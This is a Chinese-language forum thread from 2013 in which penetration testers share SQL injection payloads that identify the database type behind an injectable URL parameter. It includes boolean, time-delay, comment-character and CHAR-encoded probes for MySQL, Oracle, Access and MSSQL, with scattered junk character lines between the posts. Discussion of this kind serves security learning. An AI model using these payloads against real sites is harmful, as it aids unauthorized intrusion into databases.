中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
( G8 m& y$ H0 A/ h; P; f
xsser (十根阳具有长短!!) | 2013-02-05 12:36
& ]! w) ^1 j' h; X! g! e
假设这么一个注射点:
" X3 \3 ?) P& I* @
show.html?id=2
2 K1 Q+ P5 Y: P' g& l7 b
mysql:id=2 and version()>0
& w0 g9 x9 t/ m3 t8 n4 A
oracle:id=2 and '1'||'1'='11
/ n2 B1 G" ~# [( J% B
其他的欢迎补充
0 l( J0 o5 P- ^
1#
% o3 r9 w% ~' [) Y n( a; e! c
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
- {7 G! k* o2 R. T8 D
Access:
1 A+ r3 e1 I0 n( ?1 r/ L
aNd aSc(cHr(97))=97
/ }5 s! j. G- X& z& t- [: `
and exists(select id from MSysAccessObjects)
; Q/ j r7 I& y& C0 L+ V
SQL Server:
) B8 @5 y( o7 ~+ b3 I$ O4 W
and exists(select id from sysobjects)
7 h3 c( G& ]- w8 s7 }' f7 J
and length(user)>0
! ?$ K7 g( A7 d0 x
MySQL:
1 T" y" B7 B1 s* M6 Z. Z) j
and length(user())>0
2 F. f% }% f$ {& T* i) w" c K; d/ [
2#
x3 ~! e& t7 v/ q0 ^5 a* t
xsser (十根阳具有长短!!) | 2013-02-05 12:48
8 c# g" b( v6 d
@upload 如果这些都不是呢…
$ P$ `4 v) Z: A" c4 A
3#
1 A, j8 U5 s3 B! Z5 M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
! {. |" P, k( b" T) j
@xsser 不快速的,延时注入
& d& b* f, \+ j+ P3 d) n, ~
不知道这样写对不对
2 ~/ ]& `/ `1 y. I, k% u4 G8 S% U* _
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
8 g8 `1 R( C- I+ X) h2 a7 y4 G
mysql:id=2 and select benchmark(1e8,current_date());
: `% K2 \: y. D9 Y) a
4#
0 s4 k! _5 d" z1 I4 t9 Q S9 u7 S
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
! n1 ?2 M; o+ C
最快的貌似是看报错信息
' @/ {( J' B0 D/ l/ k& D2 s' Y! W
oracle error
) ]% ?/ |7 e! Y; ^' p- p
mssql error
, e; C( d+ d6 G- y9 T$ b
mysql error
7 a# O. d( o2 u, t* G2 `6 j, a0 y
5#
~( c `8 R0 |# j2 J
Nimda (你们都是坏银~) | 2013-02-05 13:14
2 c6 L0 y9 G1 z* V& U
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
4 o8 G& d3 j( I0 I- C! F& ^. k5 N. A
6#
- Q+ A, O; c# E# H! V0 s
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
: U, }, T4 q8 v+ C' { ?, d
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
. a; S3 q& m4 y- A2 y& R: C! B
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
# j& T! T* V+ [0 N( M C
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
h. ~" G1 d0 s9 l, F5 P' q
7#
/ z& s, u, o8 q
_Evil (HackEnd) | 2013-02-05 13:33
$ [) W+ f( O) K$ s
PostgreSQL
2 x6 H$ w" S; O$ T" c; C7 U
8#
8 X; O! M+ T8 u3 o
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
6 ~8 h/ M$ D: C+ G4 l2 J
切换编码 and 1=1
' x! w8 k: O% N \& v ~
oracle:
. k& ]: K4 [( [# ^' b; T# c% P
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
8 u* Q/ Z5 O- M, A8 k5 ~5 N, s
mssql:
( V1 G2 o; e; Q! R
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
& E4 v8 P( c8 t6 z& ^: a8 n5 j( H. f
mysql:
: x$ j6 s% p2 O6 X) F9 c
CHAR(97, 110, 100, 32, 49, 61, 49)
* z3 M, J6 t# ]1 w8 u5 G
9#
4 H% n7 @/ [8 W8 i
xsser (十根阳具有长短!!) | 2013-02-05 14:31
7 F- X, \$ U1 z9 C9 V- C; Z
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
. B- G- {2 x: S
10#
9 j6 _5 r$ e' G8 y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
2 y1 x5 @- p( G2 J0 J7 P. F
@xsser 是奇葩数据库类型的么?
9 H; k2 T' v) U
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
& L0 D U" T3 s0 Q6 O/ X' ~7 T) l
1.是否可以使用特定的函数来判断,该数据库特有的
; q- N8 F( ]& {7 L
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
3 n/ X. j! O( T& I8 @
3.是否可以编码查询
+ Z, Q- `% t' ^- C4 H5 Z
4.是否显可以利用错信息
/ e/ {, ^9 u6 ?: Q/ ~. k- H
5.是否存在数据库某些特性辅助判断
( K) s0 `2 B% {/ B7 z
个人见解
0 _9 P% O: {7 C9 w2 Q9 H- r
11#
5 ]! i+ }9 | d* d/ J
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
v; q3 i& w" K) a" K
已收藏,mssql可以直接看到错误提示的吧~
; W4 j' D. K! x
12#
( w, \6 x* W. ?, X3 l: N5 y
Passer_by | 2013-02-05 15:09
1 Y H, z5 t% I7 Q# U! I
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
$ `- O5 r& m P0 }
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2